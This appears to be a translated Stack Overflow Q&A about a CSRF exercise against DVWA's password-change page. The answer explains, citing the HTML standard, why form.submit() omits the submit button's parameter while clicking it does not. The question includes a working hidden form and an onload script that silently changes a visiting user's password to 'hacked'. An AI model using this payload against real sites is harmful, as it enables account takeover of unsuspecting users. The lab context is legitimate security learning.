[英]Why does calling submit on a form and click on a submit button produce different GET parameters?
我正在嘗試一個簡單的 CSRF 攻擊並遇到了一個問題。
如果我有一個包含此表單的虛擬站點:
<form action="somewebsitetoexploit.com/someformpage" method="GET" hidden>
<input type="password" autocomplete="off" name="password_new" value="hacked"><br>
<input type="password" autocomplete="off" name="password_conf" value="hacked">
<input type="submit" value="Change" name="Change">
</form>
我最初的想法是通過在頁面加載時在表單上調用腳本標簽來“自我submit
”,以便在用戶訪問頁面時自動更改用戶密碼:
<script>
window.onload = (_) => {
const form = document.getElementsByTagName("form")[0];
form.submit();
};
</script>
這看起來有效,但密碼未能更改。 在查看 GET 參數時,我意識到這是因為它沒有包含Change
參數(提交按鈕本身)。 它產生了:
?password_new=hacked&password_conf=hacked
代替:
?password_new=hacked&password_conf=hacked&Change=Change
我猜這會導致它在后端的驗證檢查失敗。
它看起來很老套,但我可以通過click
提交按鈕而不是直接submit
表單來修復它:
<script>
window.onload = (_) => {
const submit = document.getElementsByName("Change")[0];
submit.click();
};
</script>
我查看了相關的MDN 頁面,它注意到調用submit
與單擊提交按鈕有兩個不同之處:
- 未引發
submit
事件。 特別是,表單的onsubmit
事件處理程序沒有運行。- 不觸發約束驗證。
目前尚不清楚為什么onsubmit
不觸發會影響發送的 GET 參數,所以我不確定這是否相關。
顯然,對於使用 GET 作為方法的 forms,我可以手動構造帶有查詢參數的 URL 而不必擔心有表單。 不過,為了學習(如果我想在將來操作使用 POST 的表單),我想了解這里發生了什么。
我試圖“攻擊”的頁面是 DVWA 的密碼更改 CSRF 頁面。
一個表單可以有多個提交按鈕,具有不同的名稱和/或值。
當您單擊提交按鈕並執行默認提交操作時,您單擊的按鈕的名稱和值將包含在提交表單時的表單參數中。
當您調用submit()
方法時,沒有關聯的按鈕單擊,因此參數中不會包含按鈕名稱和值。 如果表單有多個提交按鈕,您希望它發送哪個按鈕?
此行為在HTML 標准中指定:
調用 submit() 方法時,必須從表單元素本身提交表單元素,並設置從 submit() 方法提交的標志。
提交執行此處描述的許多步驟:
當從元素提交者(通常是按鈕)提交表單元素表單時,可選擇設置從 submit() 方法提交的標志,用戶代理必須運行以下步驟:
...
- 如果提交者是表單,則讓 submitterButton 為 null。 否則,讓 submitterButton 成為提交者。
...
- 設條目列表為使用表單、提交者和編碼構造條目列表的結果。
條目列表最終會產生類似?password_new=hacked&password_conf=hacked
的字符串。
如果您通過按下按鈕(手動或以編程方式)提交表單,則submitter
者設置為按鈕,因此條目列表包含該按鈕。
如果使用.submit()
提交表單,則將submitter
設置為表單,因此submitterButton
設置為 null,因此條目列表不包含它。
條目列表的構造會跳過不是submitter
者的按鈕:
對於控件中的每個元素字段,按樹形順序:
如果以下任何一項為真:
字段元素是一個按鈕,但它不是提交者。
然后繼續。
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.